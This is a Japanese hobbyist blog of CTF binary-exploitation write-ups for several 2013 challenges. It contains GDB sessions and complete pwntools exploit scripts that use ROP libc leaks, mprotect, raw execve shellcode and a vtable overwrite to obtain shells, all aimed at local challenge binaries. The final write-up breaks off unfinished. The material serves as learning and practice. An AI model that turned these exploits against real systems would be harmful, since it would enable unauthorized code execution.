読者です 読者をやめる 読者になる 読者になる

ちょっとずつ成長日記

強くなりたいと願いつつ少しずつ頑張る日記

PlaidCTF 2013 ropasaurusrex

今回は名前からしてROPするんだろうなぁという予想を立てながら解くような問題だった。実行ファイルはELF-32bitのxined型であった。とりあえず、起動させてからどのような挙動をするのかを見てみることにした。

shima@chino:~/workspace/pwn_list_easy/ropasaurusrex$ ./ropasaurusrex 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault (コアダンプ)

おや?これはもしかしたらstack overflowして落ちたのだろうか?とりあえず「どのようなセグフォの仕方をするのか」に注目しながらデバッグしてみようかな。GDBどーん!

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

 [----------------------------------registers-----------------------------------]
EAX: 0xc9 
EBX: 0xf7fbb000 --> 0x1aada8 
ECX: 0xffffcfe0 ('a' <repeats 200 times>...)
EDX: 0x100 
ESI: 0x0 
EDI: 0x0 
EBP: 0x61616161 ('aaaa')
ESP: 0xffffd070 ('a' <repeats 56 times>, "\n\320\377\377\030\226\004\b\030\202\004\b")
EIP: 0x61616161 ('aaaa')
EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x61616161
[------------------------------------stack-------------------------------------]
0000| 0xffffd070 ('a' <repeats 56 times>, "\n\320\377\377\030\226\004\b\030\202\004\b")
0004| 0xffffd074 ('a' <repeats 52 times>, "\n\320\377\377\030\226\004\b\030\202\004\b")
0008| 0xffffd078 ('a' <repeats 48 times>, "\n\320\377\377\030\226\004\b\030\202\004\b")
0012| 0xffffd07c ('a' <repeats 44 times>, "\n\320\377\377\030\226\004\b\030\202\004\b")
0016| 0xffffd080 ('a' <repeats 40 times>, "\n\320\377\377\030\226\004\b\030\202\004\b")
0020| 0xffffd084 ('a' <repeats 36 times>, "\n\320\377\377\030\226\004\b\030\202\004\b")
0024| 0xffffd088 ('a' <repeats 32 times>, "\n\320\377\377\030\226\004\b\030\202\004\b")
0028| 0xffffd08c ('a' <repeats 28 times>, "\n\320\377\377\030\226\004\b\030\202\004\b")
[------------------------------------------------------------------------------]

canaryが無効になっている時点でもしかしたら、EIP取れてるのだろうか?と思いながら入力して実行させてみると案の定取れてた。なるほど、今回はこれを利用してROPさせるのかと攻撃方針を立てたが、ここで問題になるのがNXが有効になっていることだ。stack内実行が不可能であるため、shellcodeを起動させるにしても、mmapまたはmprotectでメモリの実行権限を変更させなければならない。
しかし、今回はこの二つの関数は一回も使われていないため、実行ファイル内の.pltには存在していない。そのため、どちらにせよlibc baseをleakさせないといけないため、system関数を起動させるのが良いと考えた。
しかし、どうやってleakさせればよいのだろうか?もう一回実行させてみよう。

shima@chino:~/workspace/pwn_list_easy/ropasaurusrex$ ./ropasaurusrex 
aaaaaa
WIN

入力した文字の次にWINの文字が出力されている。うーむ、入力と出力の二つをデバッガで追いかけてみようかな。

[-------------------------------------code-------------------------------------]
   0x8048405:   lea    eax,[ebp-0x88]
   0x804840b:   mov    DWORD PTR [esp+0x4],eax
   0x804840f:   mov    DWORD PTR [esp],0x0
=> 0x8048416:   call   0x804832c <read@plt>
   0x804841b:   leave  
   0x804841c:   ret    
   0x804841d:   push   ebp
   0x804841e:   mov    ebp,esp
Guessed arguments:
arg[0]: 0x0 
arg[1]: 0xffffcfe0 --> 0x1 
arg[2]: 0x100 
[------------------------------------stack-------------------------------------]

[-------------------------------------code-------------------------------------]
   0x804842b:   mov    DWORD PTR [esp+0x8],0x4
   0x8048433:   mov    DWORD PTR [esp+0x4],0x8048510
   0x804843b:   mov    DWORD PTR [esp],0x1
=> 0x8048442:   call   0x804830c <write@plt>
   0x8048447:   leave  
   0x8048448:   ret    
   0x8048449:   nop
   0x804844a:   nop
Guessed arguments:
arg[0]: 0x1 
arg[1]: 0x8048510 ("WIN\n")
arg[2]: 0x4 
[------------------------------------stack-------------------------------------]
0000| 0xffffd070 --> 0x1 
0004| 0xffffd074 --> 0x8048510 ("WIN\n")
0008| 0xffffd078 --> 0x4

 
gdb-peda$ x/100wx 0xffffcfe0
0xffffcfe0:    0x61616161 0x61616161 0x61616161 0x61616161
0xffffcff0:    0x61616161 0x61616161 0x61616161 0x61616161
0xffffd000:    0x61616161 0x61616161 0x61616161 0x61616161
0xffffd010:    0x61616161 0x61616161 0x61616161 0x080a6161
0xffffd020:    0xf7ffd938 0x00000000 0x000000c2 0xf7ea5376
0xffffd030:    0xffffffff 0xffffd05e 0xf7e1cc34 0xf7e432f3
0xffffd040:    0x00000000 0x08049604 0xffffd058 0x080482e8
0xffffd050:    0xffffd2e7 0x08049604 0xffffd088 0x08048479
0xffffd060:    0x08048460 0x08048340 0xffffd088 0x0804842b
0xffffd070:    0x00000001 0x08048510 0x00000004

WINという文字が格納されているアドレスの中身を表示するようになっていた。そしてここでひらめきを得た。「これってwrite関数に任意のアドレスを入れたら中身を表示してくれるのでは!?」つまり、今回は使われているGOTアドレスを入れて置き、その関数のlibcのoffsetを引いてあげればlibc baseが求まるので、任意の関数を呼ぶことができる!
stackの詳細は以下のようになっている。

0xffffd068 saved ebp
0xffffd06c saved eip
0xffffd070 write first arg
0xffffd074 write second arg
0xffffd078 write third arg

まず最初にeipのアドレスをwrite.pltに変更する。そして次にreturnアドレスだが、もう一回readとwriteをするユーザ関数を呼ぶ。こうすることでもう一回同じ動作をするのでこのときにsystem(/bin/sh)を呼ぶ。また、write関数の2番目の引数にGOTアドレスをleakさせるために適当なライブラリ関数のGOTを入れて、ユーザー側にwriteした値をoffsetから引く形をとり、libc baseをleakさせる。まとめると以下のようになる。

1回目
0xffffd068 saved ebp(適当)
0xffffd06c saved eip(write.plt)
0xffffd070 write first arg(1)
0xffffd074 return(readとwriteをするユーザ関数)
0xffffd078 write second arg(適当なGOTが分かっているライブラリ関数)
0xffffd07c write third arg(4)

2回目
0xffffd068 saved ebp(適当)
0xffffd06c saved eip(system)
0xffffd070 return(適当)
0xffffd074 system first arg(/bin/sh)

stackのアドレスはASLRで変わるため、暫定的な値を使っているが相対的には上記のような順番で格納される。saved ebpの手前までoverflowさせてから上記のような順番で格納すれば上手くいくはず。ちなみに手前までのoffsetは

gdb-peda$ p/x 0xffffd068-0xffffcfe0
$2 = 0x88

以上を踏まえて攻撃コードを組んでみる。こーどべちょー

#!/usr/bin/env python2
from pwn import * 

context(os='linux', arch='i386')
#context.log_level = 'debug' # output verbose log
elf = ELF('./ropasaurusrex')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        HOST = 'localhost'
        PORT = 114514
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./ropasaurusrex')
        print "[+] connect to local\n"

rw_fuc = 0x80483f4 # read and write user function
buffer_len = 0x88  # offset saved ebp

# first time rw_fuc leak libc base and set second rw_fuc
payload = ''
payload += '\x90' * buffer_len
payload += p32(0xdeadbeef)          # saved ebp
payload += p32(elf.symbols['write'])# saved eip
payload += p32(rw_fuc)              # write fuction return second time rw_fuc
payload += p32(1)                   # wirte fisrt arg stdout
payload += p32(elf.got['read'])     # write second arg send to user data
payload += p32(4)                   # write third arg len
conn.send(payload)

# get libc_base
read_libc = u32(conn.recv(4))
libc_base = read_libc - libc.symbols['read']

# sedond time rw_fuc set system(/bin/sh)
payload = ''
payload += '\x90' * buffer_len
payload += p32(0xdeadbeef)                              # saved ebp
payload += p32(libc_base + libc.symbols['system'])      # saved eip system
payload += p32(0xdeadbeef)                              # system return address
payload += p32(libc_base + next(libc.search('/bin/sh')))# system arg /bin/sh
conn.send(payload)

conn.interactive()

【総評】ROPは奥が深い。

29c3 CTF ru1337

32bit-ELFのfork-server型の問題だった。今回は私的には初めてのexlpoitコードを書かないといけないということもあり、苦戦したが、何とか解けて良かった。今回の攻撃方法はshellcodeを送るのだが、少し問題があるそれは・・・

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ 

NXbitが立っているということが今回の肝心なところである。実行権限がついていない状態でスタートするため、shellcodeを送るだけでなく、mmapまたはmprotect関数を使ってメモリアクセス権限を変更してから、shellcodeを実行するようなexploitコードを作成しなければならないことを念頭に置いてから考えてみよう。ではさっそく、実行!…と思ったが、上手く実行できなかったため、デバッグしてみるとどうやら実行するときに引数が必要だった。引数はどうやらポートの番号として使われるようだった。今回は1024に引数を設定してから実行してみる。

shima@chino:~/workspace/pwn_list_easy/ru1337$ nc localhost 1024
ID&PASSWORD 1337NESS EVALUATION
Please enter your username and password

User: aaaaaaaaaaaaaa
Password: aaaaaaaaaaaaaaaaaa
u r not s0 1337zz!!!

userとpasswordを聞かれて終了のような実行ファイルのようだ。入力部分に脆弱性があるようだ。しかし、目立つような脆弱性を入力の段階で見つけることができなかった。ということで仕方ないデバッグしよ。

EBP: 0xffffd038 --> 0xbadc008 --> 0x0 
ESP: 0xffffcf80 --> 0xbadc000 --> 0x0 
EIP: 0x8048992 (call   0x80485c0 <strcpy@plt>)
EFLAGS: 0x287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048988:   sub    edx,0xffffff80
   0x804898b:   mov    DWORD PTR [esp+0x4],edx
   0x804898f:   mov    DWORD PTR [esp],eax
=> 0x8048992:   call   0x80485c0 <strcpy@plt>
   0x8048997:   mov    eax,ds:0x804a070
   0x804899c:   lea    edx,[eax+0x8]
   0x804899f:   lea    eax,[ebp-0x94]
   0x80489a5:   mov    DWORD PTR [esp+0x4],eax
Guessed arguments:
arg[0]: 0xbadc000 --> 0x0 
arg[1]: 0xffffd024 ("AAAAAAAA\b")
[------------------------------------stack-------------------------------------]

最初のuserを受け取るところだが、特に気になったのは、ASCII文字以外を受け付けないような処理をしていた。そのため、userに入る部分(8byte)はASCII文字を入れるようにしよう。そのあとでpasswordのrecvを行った後で上記のようなstrcpyの処理に入る。
最初のstrcpyはuserの値を入力するのだが、実は、もう一つ注目すべき部分があって、EBPの値がこちらの入力で書き換えることが可能であることが分かった。正確にはuserが格納されている先頭アドレス+0x14byte先にあるようだ。

[-------------------------------------code-------------------------------------]
   0x804899f:   lea    eax,[ebp-0x94]
   0x80489a5:   mov    DWORD PTR [esp+0x4],eax
   0x80489a9:   mov    DWORD PTR [esp],edx
=> 0x80489ac:   call   0x80485c0 <strcpy@plt>
   0x80489b1:   mov    eax,ds:0x804a074
   0x80489b6:   mov    DWORD PTR [esp+0x4],0x0
   0x80489be:   mov    DWORD PTR [esp],eax
   0x80489c1:   call   0x8048570 <dup2@plt>
Guessed arguments:
arg[0]: 0xbadc008 --> 0x8 
arg[1]: 0xffffcfa4 --> 0x90909090 
[------------------------------------stack-------------------------------------]

次はpasswordの受けとった文字列をuserをコピーした先から+8byteに格納する処理をしている。そのあとでsocketディスクリプタをdup2を行っているため、shellcodeを送る時にdup2またはconnect-backを行う必要はなさそうだ。strcpyを終わって直後の様子を下に示す

after strcpy stack
0xbadc000: 0x41414141 0x41414141 0x90909090 0xdb31c031
0xbadc010: 0x03b1c931 0x3fb0c9fe 0x80cd04b3 0xc031f675
0xbadc020: 0x2f2f6850 0x2f686873 0x896e6962 0x89c189e3
0xbadc030: 0xcd0bb0c2 0x40c03180 0xf70a80cd 0xf7ffd938
0xbadc040: 0x00000001 0x00000000 0x00000000 0x00000000
0xbadc050: 0x00000000 0x00000000 0x00000000 0x00000000
0xbadc060: 0x00000000 0x00000000 0x00000000 0x00000000
0xbadc070: 0x00000000 0x00000000

returnする直前に面白いものを見つけた。それを下に示す。

gdb-peda$ x/100wx $esp
0xffffd03c: 0x08048580  0x0badc008  0x0badc000  0x000000ff
0xffffd04c: 0x00000007  0x00000000  0x00000000  0xffffd098
0xffffd05c: 0x08048bdd  0x00000004  0x00000000  0x00000000
0xffffd06c: 0x08048c62  0x00000002  0xffffd134  0x00040002
0xffffd07c: 0x00000000  0xf7fbb3c4  0xf7ffd000  0x00000000

どうやら、userを最初に格納する場所から+18byteつまりEBPを書き換えれるアドレス+4byte先にreturnアドレスがあるようだ。
以上のことから今回の攻撃方針は以下のような方針で行く。

  • userの入力でEBPとmprotectを送ってEBPとreturnアドレスを書き換える。

  • 次のpasswordの入力でshellcodeを送る。

今回はEBPは直接関係はないため、適当な数値を入れても問題はない。
コードべちょー

from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
elf = ELF('./ru1337')

host = 'localhost'
port = 1024
c = remote(host, port)

shellcode = asm(shellcraft.sh())
mprotect_addr = elf.plt['mprotect']
# mprotect(0xbadc000, 0xff, 7); return 0xbadc008
mprotect = p32(mprotect_addr) + p32(0x0badc008) + p32(0x0badc000) + p32(0xff) + p32(7)

user = ''
user += 'A' * 20         # padding
user += p32(0xdeadbeef)  # ebp store
user += mprotect         # return address

password = ''
password += '\x90'*4
password += shellcode
password += '\n'

c.recvuntil('User: ')
c.send(user + password)

c.interactive()

今回実行権限をつけるためにmprotect関数を使用したが、その範囲をuserがstrcpyされたところから0xffまでにした。mprotectが終わった時のreturnアドレスをpasswordがstrcpyされた先にすることでshellcodeが実行されるようにした(一応NOP sledさせた)
【総評】mprotect + shellcodeのやり方を覚える良い問題

Ghost in the Shellcode 2013 FunnyBusiness

32bit-ELFのfork-server型問題で、脆弱性を見つけて攻撃をするんだが今回の場合は使用しているライブラリの動きを知ってうえで攻撃を行うような問題であり、面白かった。ライブラリ自身の脆弱性を見つけるわけではないが、ライブラリの使い方を分かっていなければ解くことができないような問題であったため、なかなか楽しめた問題だった。
さっそく実行して見たが、OSのuserにfunnybusinessが必要で、さらにgetpwnamを使っているためrootで実行する必要がある。
ユーザー側に何も表示されるわけでもなけではなかったため、仕方ないのでデバッグしながら動きを確かめることにした。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : ENABLED
NX        : disabled
PIE       : disabled
RELRO     : Partial

shellcodeを実行するような形に持っていくような攻撃方法がよさそう。
とりあえず、GDBデバッグしてユーザーが入力した後の動きに着目したら、以下のような気になった部分があったため、まとめてみる。

  • 最初のrecvでsizeを決定する。

  • 次のrecvでsize分の文字列を送る。

  • 最後にinflateという関数を実行する。

  • inflate関数の戻り値が1であるときに正常終了(returnアドレスにいく)、それ以外はexit inflate関数とはなんだろう?と思って調べてみたら、どうやら、圧縮するような関数である。inflateInit() でどのような圧縮をするのかなどの初期設定をしたあとで、inflate関数で圧縮を実行する。inflateEndは正常終了の時にしかしていない。exitする時にはしていない。(メモリを確保する関係からしないといけないと思うけど…)とりあえず入力してから考えてみよう!

 [----------------------------------registers-----------------------------------]
EAX: 0xfffffffd 
EBX: 0x0 
ECX: 0x1 
EDX: 0x0 
ESI: 0x4 
EDI: 0xffffd68f ("AAAAAA\252\260\004\b1\300\061\333\061ɱ\003\376ɰ?\263\004̀u\366\061\300Ph//shh/bin\211\343\211\301\211°\v̀1\300@̀\b\211\216\004\b")
EBP: 0xffffd6d8 --> 0x0 
ESP: 0xffffd670 --> 0x804f0a0 --> 0xffffd691 ("AAAA")
EIP: 0x8048e59 (jne    0x8048e6c)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048e4a:   mov    DWORD PTR [esp],0x804f0a0
   0x8048e51:   call   0x8048660 <inflate@plt>
   0x8048e56:   cmp    eax,0x1
=> 0x8048e59:   jne    0x8048e6c
 | 0x8048e5b:  mov    DWORD PTR [esp],0x804f0a0
 | 0x8048e62:  call   0x8048710 <inflateEnd@plt>
 | 0x8048e67:  jmp    0x8048dd7
 | 0x8048e6c:  mov    DWORD PTR [esp],0x0
 |->   0x8048e6c:   mov    DWORD PTR [esp],0x0
       0x8048e73:   call   0x8048700 <exit@plt>
       0x8048e78:   nop
       0x8048e79:   nop   

適当に文字を入力して実行してみたが、どうやら戻り値が1以外になって強制終了するようになっている。どうやったら1になるのだろうか?
どうやら、成功したときにはZ_OKをかえすようになっているらしい。しかし、正確な数字がわからなかった。・・・うーん、つまり圧縮には成功していないということだろうか?
よくわからなかったので、write upを見た。すると攻撃コードを送る前に圧縮を行っていた。えぇ・・・(困惑)
とりあえず圧縮して送ってみることにする。すると・・・

 [----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0x0 
ECX: 0x1 
EDX: 0x0 
ESI: 0x4 
EDI: 0xffffd68f --> 0xc010178 
EBP: 0xffffd6d8 --> 0x0 
ESP: 0xffffd670 --> 0x804f0a0 --> 0xffffd6a6 --> 0x0 
EIP: 0x8048e56 (cmp    eax,0x1)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048e42:   mov    DWORD PTR [esp+0x4],0x4
   0x8048e4a:   mov    DWORD PTR [esp],0x804f0a0
   0x8048e51:   call   0x8048660 <inflate@plt>
=> 0x8048e56:   cmp    eax,0x1
   0x8048e59:   jne    0x8048e6c
   0x8048e5b:   mov    DWORD PTR [esp],0x804f0a0
   0x8048e62:   call   0x8048710 <inflateEnd@plt>
   0x8048e67:   jmp    0x8048dd7

飛ばないのか(困惑)とりあえず、そのあとの処理を見てみると正常終了につながっていた。returnする前に面白いものを見つけた。

[-------------------------------------code-------------------------------------]
   0x8048dd3:   mov    ebx,eax
   0x8048dd5:   je     0x8048df0
   0x8048dd7:   mov    eax,ebx
=> 0x8048dd9:   mov    esi,DWORD PTR [esp+0x24]
   0x8048ddd:   mov    ebx,DWORD PTR [esp+0x20]
   0x8048de1:   mov    edi,DWORD PTR [esp+0x28]
   0x8048de5:   add    esp,0x2c
   0x8048de8:   ret
[------------------------------------stack-------------------------------------]
0000| 0xffffd670 --> 0x804f0a0 --> 0xffffd6a6 --> 0x0 
0004| 0xffffd674 --> 0x4 
0008| 0xffffd678 --> 0x17 
0012| 0xffffd67c --> 0x0 
0016| 0xffffd680 --> 0xffffd6d8 --> 0x0 
0020| 0xffffd684 --> 0xf7ff04c0 (pop    edx)
0024| 0xffffd688 --> 0x3e9 
0028| 0xffffd68c --> 0x78ffd6d8 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048dd9 in ?? ()
gdb-peda$ x/20wx $esp+0x24
0xffffd694:    0x4141fff3 0x42424141 0x43434242 0x08144343

どうやらreturnする前にレジスタにユーザーが入力した値の一部を移動させるらしい。このとき、addでstackの中身を消すときにユーザーが入力した値の先頭から数えて7番目からreturnアドレスになることが分かった。ここをshellcodeのアドレスにして、あげればshellを起動させることができる。
しかし、肝心のshellcodeのアドレスはどこに置けばいいのだろう?今回はPIEが無効になっているため、.bssセクションにrecvでshellcodeを格納してrecvのreturnをbssセクションにしてshellcodeを実行させよう。
コードべちょー

import zlib
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
elf = ELF('./funnybusiness')
host = 'localhost'
port = 49681

# dup2(4)
shellcode = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04\xcd\x80\x75\xf6"
# execve shellcode
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

recv_addr = elf.plt['recv']
bss_addr = 0x804b080
recv = p32(recv_addr) + p32(bss_addr) + p32(4) + p32(bss_addr) + p32(len(shellcode)) + p32(0)

c = remote(host, port)
payload = ''
payload += 'AAAAAA'         # padding
payload += recv
compress_payload = zlib.compress(payload, 0)

c.send(p32(len(compress_payload)))
c.send(compress_payload)

c.send(shellcode)
c.interactive()

payloadを送る時にpaddingを6個入れてから7番目からreturnアドレスになるように調整しよう。そのあとで、payloadを圧縮してから送ってあげよう
【総評】圧縮してるのかしてないのかよくわかんない(困惑)

Ghost in the Shellcode 2013 Shiftd

ELF 64-bit xinetd型の問題だった。脆弱性としてはread関数のNULLを入れ忘れにより、printfでstackのアドレスをleakできるといったものだった。では、さっそく実行してみよう!・・・と思って実行したら何も表示せずに受け付けて、適当に入力したら強制終了したのでデバッグしながら確かめる

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

どうやら、最初に実行したときにユーザーからの入力を受け付け、そのあとでstrcmp関数で文字列比較を行って一致しなければ強制終了するようになっていた。ちなみにその文字列はNowIsTheWinterOfOurDiscountTentという文字列で平文で保存されているため、stringsで一発でわかる。
これが分かったことでもう一回実行してみよう!すると・・・

NowIsTheWinterOfOurDiscountTent
Welcome to Shifty's Time Formatting Service!
What is your name?

Welcome, �����!

むっ?変な表示のされ方をしてるものがあるぞ?この実行をしたときは改行文字だけを間違って送ってしまったが、それが今回は吉とでた。とりあえず、バイナリレベルで調べてみる。すると・・・

[DEBUG] Received 0x2f bytes:
    00000000  57 65 6c 63  6f 6d 65 2c  20 00 df ff  ff ff 7f 21  │Welc│ome,│ ··│···!│

どうやら、0x7fffffffdf00というアドレスが送られてきているようだった。今回はこれを上手く使えばいいのだろうか?とりあえず、その後も実行してみるすると・・・

[-------------------------------------code-------------------------------------]
   0x400985:    lea    rax,[rbp-0x820]
   0x40098c:    mov    esi,0x400
   0x400991:    mov    rdi,rax
=> 0x400994:    call   0x4006f0 <strftime@plt>
   0x400999:    mov    DWORD PTR [rbp-0x4],eax
   0x40099c:    cmp    DWORD PTR [rbp-0x4],0xc0000005
   0x4009a3:    je     0x4009ec
   0x4009a5:    lea    rdi,[rip+0x240]        # 0x400bec
Guessed arguments:
arg[0]: 0x7fffffffd640 --> 0x0 
arg[1]: 0x400 
arg[2]: 0x7fffffffda40 ("aaaaabbbbbcccccc")
arg[3]: 0x7ffff7dd8de0 --> 0x3600000010 

return address 0x7fffffffde68

二回目の入力があった後で、何もチェックすることなくreturn addressのほうに行った。このことを利用して今回の攻撃方法をまとめると、一回目の入力で改行文字だけを入力し、stack addressをleakし、leakしたアドレスから二回目が保管されるアドレスの位置を求めて最後にreturn addressを書き換えるような攻撃コードを書けばよいということになる。では、さっそく準備しよう

gdb-peda$ p/x 0x7fffffffdf00 - 0x7fffffffda40
$2 = 0x840

gdb-peda$ p/x 0x7fffffffde68 - 0x7fffffffda40
$2 = 0x428

まず、leakしたstack addressから二回目の入力のoffsetを求め、このleak address - offsetを行って二回目の入力のアドレスを求める。次に、return addressから二回目の入力のoffsetを求めてbuffer overflowさせてreturn addressを書き換える。
コードべちょー

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log
HOST = 'localhost'
PORT = '50000'
if len(sys.argv) > 1 and sys.argv[1] == 'r':
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./shiftd')
        print "[+] connect to local\n"

conn.send('NowIsTheWinterOfOurDiscountTent\n')
conn.recvuntil(' name?\n')
conn.send('\n')
conn.recvuntil('Welcome, ')
stack_addr = conn.recv(6) + '\x00\x00'
return_addr = u64(stack_addr) - 0x840
print 'return_addr:' + hex(return_addr)
shellcode = asm(shellcraft.sh())
payload = ''
payload +='\x90' * 500
payload += shellcode
payload += '\x90'*(0x428 - 500 - len(shellcode))
payload += p64(return_addr)
payload += '\n'
conn.recv(' format:\n')
conn.send(payload)
conn.interactive()

[総評]NULL挿入忘れには気を付けよう!

Codegate CTF Preliminary 2013 Vuln300

32bit-ELFのxinetd型問題だった。C++で作られた問題のようで、オブジェクトを生成していろいろ操作するような問題だった。とても知見を得ることができた問題だった。
さて、さっそく実行してみよう。

shima@chino:~/workspace/pwn_list_baby/vuln300$ ./vuln300 
Input Num : -1
Input Msg : AAAA
Segmentation fault (コアダンプ)
shima@chino:~/workspace/pwn_list_baby/vuln300$ ./vuln300 
Input Num : 1
Input Msg : AAA
Reply : 
AAAA

shima@chino:~/workspace/pwn_list_baby/vuln300$ ./vuln300 
Input Num : 4
Input Msg : %08x
Reply : 
ABCD%08x 

実行したら、まず最初に文字の長さを入力して、文字を入力するような形になっていた。Msgに何も入力されていなければABCDの順番で長さ分の文字列が出力されるような形になっていた。負数が怪しそうなので、長さを入力する部分を中心にいろいろ探してみることにした。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : disabled
gdb-peda$ 


[-------------------------------------code-------------------------------------]
   0x80488b5:   mov    ecx,edx
   0x80488b7:   sub    ecx,eax
   0x80488b9:   mov    eax,ecx
=> 0x80488bb:   mov    edx,DWORD PTR [ebp+0x8]
   0x80488be:   lea    ecx,[edx+0x4]
   0x80488c1:   mov    edx,DWORD PTR [ebp+0x10]
   0x80488c4:   lea    edx,[ecx+edx*1]
   0x80488c7:   mov    DWORD PTR [esp+0x8],eax
[------------------------------------stack-------------------------------------]
0000| 0xffffd07c --> 0x804a008 --> 0x8048a60 --> 0x8048924 (push   ebp)
0004| 0xffffd080 --> 0x804a008 --> 0x8048a60 --> 0x8048924 (push   ebp)
0008| 0xffffd084 --> 0x0 
0012| 0xffffd088 --> 0xffffd0a8 --> 0x0 
0016| 0xffffd08c --> 0x8048825 (mov    eax,DWORD PTR [ebp-0xc])
0020| 0xffffd090 --> 0x804a008 --> 0x8048a60 --> 0x8048924 (push   ebp)
0024| 0xffffd094 --> 0x80491e0 ("AAAABBBBCCCC\n")
0028| 0xffffd098 --> 0xfffffffc 
[------------------------------------------------------------------------------]

まず、strcpyかstrncpyかに入る処理で1023文字を超えているようであればstrcpyにいき、それ以下であればstrncpyに行くような処理をしている。この二つのライブラリに行く前にどうやら、ABCD…の順番に出力するような処理を入力した長さ分行っている。(マイナス時もプラス時と同様)
ここで、注目すべき場所はstrncpyの処理のほうである。どうやら、オブジェクトのアドレスををedxレジスタに入れて操作するのだが、edx+4のアドレスにユーザーが入力した文字列を入れるが、その前にどうやら、ユーザーが入力する文字列の長さを足しているようだ。詳しく見てみよう

=> 0x80488bb:    mov    edx,DWORD PTR [ebp+0x8]   こ↑こ↓でオブジェクト(obj)のアドレスをedxレジスタに移動
   0x80488be:   lea    ecx,[edx+0x4]             こ↑こ↓でユーザーが入力した文字列を格納するアドレスをecxレジスタに移動(obj+4アドレス)
   0x80488c1:   mov    edx,DWORD PTR [ebp+0x10] こ↑こ↓でユーザーが入力した文字列の長さをedxレジスタに移動
   0x80488c4:   lea    edx,[ecx+edx*1]      こ↑こ↓でobj+4アドレスにユーザーが入力した文字列の長さを足したをedxに移動(strncpyの第一引数)

おわかりいただけただろうか(迫真)こ↑こ↓でobjアドレスの中身を任意に書き換えることができる。さらに・・・

   0x8048825:    mov    eax,DWORD PTR [ebp-0xc]
   0x8048828:   mov    eax,DWORD PTR [eax]
=> 0x804882a:   mov    edx,DWORD PTR [eax]
   0x804882c:   mov    eax,DWORD PTR [ebp-0xc]
   0x804882f:   mov    DWORD PTR [esp],eax
   0x8048832:   call   edx

objアドレスに格納されている中身がedxに格納されてcallされるのである。つまりobjアドレスに任意のアドレスを格納して、そこにjmpすることができるのである。今回はshellcodeのアドレスをobjに格納させてshellcodeを起動させるようにする。
こーどべちょー

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
elf = ELF('./vuln300')
HOST = 'localhost'
PORT = 6666
if len(sys.argv) > 1 and sys.argv[1] == 'r':
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./vuln300')
        print "[+] connect to local\n"

shellcode = asm(shellcraft.sh())
payload = ''
payload += p32(0x80491e4)
payload += p32(0x80491e8)
payload += shellcode
payload += '\n'

conn.recvuntil('Input Num : ')
conn.send('-4\n')
conn.recvuntil('Input Msg : ')
conn.send(payload)
conn.interactive()

callした先はEIPになるのでアドレスが入っていなければセグフォを起こす。そこで一旦シェルコードが格納されているアドレスに飛んでからシェルコードを起動させるようにした。また、今回は第一引数もあるがこれはshellcodeが格納されているアドレスで代用している。アドレス自体は今回は固定になっていた。 [総評] object操作の入門にはすごく問題

Codegate CTF Preliminary 2013 Vuln100(解けなかった)

今回は64bit-ELFでfork-server型だった。最初に実行したときはなんかクイズみたいな形式で出題されたので、とりあえず、答えになりそうなものをstringshttp://blog.hatena.ne.jp/shimasyaro/shimasyaro.hatenablog.com/edit?entry=10328749687216287040コマンドで探してみたが、怪しい文字列はどうやら全部、MD5でハッシュ化されていた。仕方ないので素直に解いていくことにした(諦め)

shima@chino:~/workspace/pwn_list_baby/vuln100$ nc localhost 6666
Welcome to CODEGATE2013.
This is quiz game.
Solve the quiz.


It is Foot Ball Club. This Club is an English Primier league football club. This Club founded 1886. This club Manager Arsene Wenger. This club Stadium is Emirates Stadium. What is this club? (only small letter)
arsenal
good!1
It is a royal palace locate in northern Seoul, South Korea. First constructed in 1395, laster burned and abandoned for almost three centuries, and then reconstructed in 1867, it was the main and largest place of the Five Grand Palaces built by the joseon Dynasty. What is it?(only small letter)
gyeongbokgung
good!2
He is South Korean singer, songwriter, rapper, dancer and record producer. He is known domestically for his humorous videos and stage performances, and internationally for his hit single Gangnam Style. Who is he?(only small letter)
psy
good!3
rank write! your nickname:

素直に問題を解いていくと、どうやらrankに自分の名前を登録できるような仕組みになっているらしい。ここに今回は脆弱性があるみたい。詳しくここら辺を見ていくことにする。まずは、セキュリティチェック

gdb-peda$ checksec
